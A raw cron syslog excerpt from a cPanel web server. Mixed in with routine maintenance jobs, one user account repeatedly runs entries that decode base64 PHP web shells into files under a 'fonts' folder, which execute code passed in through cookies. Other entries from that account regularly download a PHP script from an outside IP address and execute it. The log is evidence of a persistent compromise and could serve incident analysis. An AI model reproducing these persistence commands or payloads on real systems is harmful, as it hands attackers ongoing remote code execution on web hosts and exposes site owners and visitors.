Sep  4 04:18:01 ip-184-168-122-23 CROND[19318]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 04:19:01 ip-184-168-122-23 CROND[19488]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 04:19:01 ip-184-168-122-23 CROND[19490]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 04:19:01 ip-184-168-122-23 CROND[19491]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 04:19:01 ip-184-168-122-23 CROND[19489]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 04:20:01 ip-184-168-122-23 CROND[19612]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  4 04:20:01 ip-184-168-122-23 CROND[19614]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 04:20:01 ip-184-168-122-23 CROND[19617]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  4 04:20:01 ip-184-168-122-23 CROND[19620]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 04:20:01 ip-184-168-122-23 CROND[19618]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  4 04:20:01 ip-184-168-122-23 CROND[19621]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  4 04:20:01 ip-184-168-122-23 CROND[19619]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  4 04:20:01 ip-184-168-122-23 CROND[19623]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 04:20:01 ip-184-168-122-23 CROND[19624]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 04:21:01 ip-184-168-122-23 CROND[19758]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 04:21:01 ip-184-168-122-23 CROND[19760]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 04:21:01 ip-184-168-122-23 CROND[19762]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 04:21:01 ip-184-168-122-23 CROND[19761]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 04:22:01 ip-184-168-122-23 CROND[19857]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 04:22:01 ip-184-168-122-23 CROND[19858]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  4 04:22:01 ip-184-168-122-23 CROND[19862]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 04:22:01 ip-184-168-122-23 CROND[19860]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 04:22:01 ip-184-168-122-23 CROND[19861]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 04:23:01 ip-184-168-122-23 CROND[19948]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 04:23:01 ip-184-168-122-23 CROND[19949]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 04:23:01 ip-184-168-122-23 CROND[19947]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 04:23:01 ip-184-168-122-23 CROND[19946]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 04:24:01 ip-184-168-122-23 CROND[20132]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 04:24:01 ip-184-168-122-23 CROND[20134]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 04:24:01 ip-184-168-122-23 CROND[20135]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  4 04:24:01 ip-184-168-122-23 CROND[20137]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 04:24:01 ip-184-168-122-23 CROND[20136]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 04:25:01 ip-184-168-122-23 CROND[20235]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 04:25:01 ip-184-168-122-23 CROND[20236]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  4 04:25:01 ip-184-168-122-23 CROND[20238]: (root) CMD (/usr/local/cpanel/bin/mysqluserstore >/dev/null 2>&1)
Sep  4 04:25:01 ip-184-168-122-23 CROND[20243]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  4 04:25:01 ip-184-168-122-23 CROND[20241]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 04:25:01 ip-184-168-122-23 CROND[20242]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 04:25:01 ip-184-168-122-23 CROND[20240]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 04:26:01 ip-184-168-122-23 CROND[20361]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 04:26:01 ip-184-168-122-23 CROND[20362]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 04:26:01 ip-184-168-122-23 CROND[20365]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  4 04:26:01 ip-184-168-122-23 CROND[20368]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 04:26:01 ip-184-168-122-23 CROND[20363]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 04:27:01 ip-184-168-122-23 CROND[20463]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 04:27:01 ip-184-168-122-23 CROND[20465]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 04:27:01 ip-184-168-122-23 CROND[20466]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 04:27:01 ip-184-168-122-23 CROND[20467]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 04:28:02 ip-184-168-122-23 CROND[20614]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 04:28:02 ip-184-168-122-23 CROND[20618]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 04:28:02 ip-184-168-122-23 CROND[20616]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  4 04:28:02 ip-184-168-122-23 CROND[20617]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 04:28:02 ip-184-168-122-23 CROND[20619]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 04:29:02 ip-184-168-122-23 CROND[20744]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 04:29:02 ip-184-168-122-23 CROND[20745]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 04:29:02 ip-184-168-122-23 CROND[20746]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 04:29:02 ip-184-168-122-23 CROND[20747]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 04:30:02 ip-184-168-122-23 CROND[20854]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 04:30:02 ip-184-168-122-23 CROND[20856]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 04:30:02 ip-184-168-122-23 CROND[20863]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  4 04:30:02 ip-184-168-122-23 CROND[20860]: (mailman) CMD (/usr/local/cpanel/scripts/restartsrv_mailman --status &> /dev/null && /usr/local/cpanel/3rdparty/bin/python2 -S /usr/local/cpanel/3rdparty/mailman/cron/cull_bad_shunt)
Sep  4 04:30:02 ip-184-168-122-23 CROND[20861]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  4 04:30:02 ip-184-168-122-23 CROND[20864]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/scripts/update_db_cache && /usr/local/cpanel/scripts/update_db_cache)
Sep  4 04:30:02 ip-184-168-122-23 CROND[20857]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  4 04:30:02 ip-184-168-122-23 CROND[20862]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  4 04:30:02 ip-184-168-122-23 CROND[20855]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
